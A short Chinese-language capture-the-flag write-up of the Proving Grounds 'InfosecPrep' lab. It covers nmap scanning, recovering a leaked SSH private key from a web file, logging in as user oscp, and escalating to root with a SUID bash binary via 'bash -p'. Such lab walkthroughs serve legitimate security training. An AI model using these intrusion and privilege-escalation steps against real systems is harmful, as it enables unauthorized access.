# PG-InfosecPrep ## Step.1 掃描 先用 `nmap` 掃描一下 ```bash= nmap -T4 192.168.111.89 ``` ``` PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 5902/tcp filtered vnc-2 ``` 看到 `robots.txt` 有個路徑 ![pic1](https://hackmd.io/_uploads/SJUaJCHk1g.png =500x) 進到 `serect.txt` 發現有一串 hash ![pic2](https://hackmd.io/_uploads/B1SHeRH1kx.png =500x) 解密後有一串 `ssh_key` 私鑰 ## Step.2 Exploit ### local flag 根據網頁提示,使用 user 帳號 `oscp` 登入 ssh ![pic3](https://hackmd.io/_uploads/ry9jM0rJyx.png =500x) ```bash= ssh -i id_rsa oscp@192.168.111.89 ``` 結果出現這個警告 ``` @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0664 for 'id_rsa' are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key "id_rsa": bad permissions oscp@192.168.111.89: Permission denied (publickey). ``` 用 `ls -l` 查看檔案權限 ``` -rw-rw-r-- 1 fearnot fearnot 2637 Oct 11 06:15 id_rsa ``` 發現原因是權限太低,把權限調高 ```bash= chmod 600 id_rsa ``` 成功登入就可以得到 local flag ![pic4](https://hackmd.io/_uploads/HkxQBkLJye.png =500x) ### root flag 一樣試著尋找具有 `SUID` 的指令 ```bash= find / -perm /4000 2>/dev/null ``` 找到 `bash` 指令 ``` /usr/bin/bash ``` 使用 `bash -p` 開啟特權 bash 就可以找到 root flag 了 ![pic5](https://hackmd.io/_uploads/Hk13UJ8yJg.png =500x)